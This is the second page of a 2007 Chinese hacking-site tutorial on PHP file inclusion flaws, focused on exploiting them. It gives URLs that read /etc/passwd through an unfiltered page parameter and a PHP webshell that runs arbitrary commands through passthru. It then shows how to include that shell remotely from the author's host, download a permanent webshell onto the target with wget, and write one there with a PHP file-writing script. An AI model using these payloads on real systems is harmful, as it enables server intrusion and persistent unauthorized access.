黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]包含文件漏洞详解
      ★★★★★

包含文件漏洞详解

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-17 2:40:12

四、怎么利用

上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:

1.包含读出目标机上其它文件

由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件,也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。

2.包含可运行的PHP木马

如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂),如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "
1.S.T
";      //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
echo "
1.S.T
";      //打印的返回的结束行提示信息
?>
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:

Quote:
ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
id whoami 查看当前用户
wget 下载指定URL的文件

等等其它的,你主机去BAIDU找吧,就不列举了。
上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵)

3.包含一个创建文件的PHP文件

也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:

1)使用wget之类的命令来下载一个Webshell

这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output-document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL:http://www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果当前目录可写,就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写,还需要想其它的办法。

2)使用文件来创建

前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

$f=file_get_contents("http://www.1ster.cn/1stphp.txt"); //打开指定路径的文件流
$ff=fopen("./upload/1st.php","a");     //寻找一个可以的目录,创建一个文件
fwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里
fclose($ff);    //关闭保存文件
?>
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。

五、后话

其实到这里我们的这个分专题就可以结束了,最后再唠叨几句,文件包含漏洞基本上算比较简单但是危象系数很高的漏洞,在很多系统中还是存在的,只要细心一点,可以发现很多的。利用起来过程比较灵活,要擅于针对问题进行分析,找出解决的办法,就能慢慢进步。
漏洞涉及的知识很多,不能一一涉及,没说清除的地方,欢迎发问,或者自己去Google解决。时间匆忙,描述不妥之处还望大家指正修订!
最后,这样的东西需要多实践,等有时间,我会找个具体的例子来把这个流程走一遍,以使大家有深刻的认识;你也可以现在就去找找看,发现什么漏洞,希望能把自己比较详细的分析和利用过程在这与大家分享!1st祝你进步。 

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886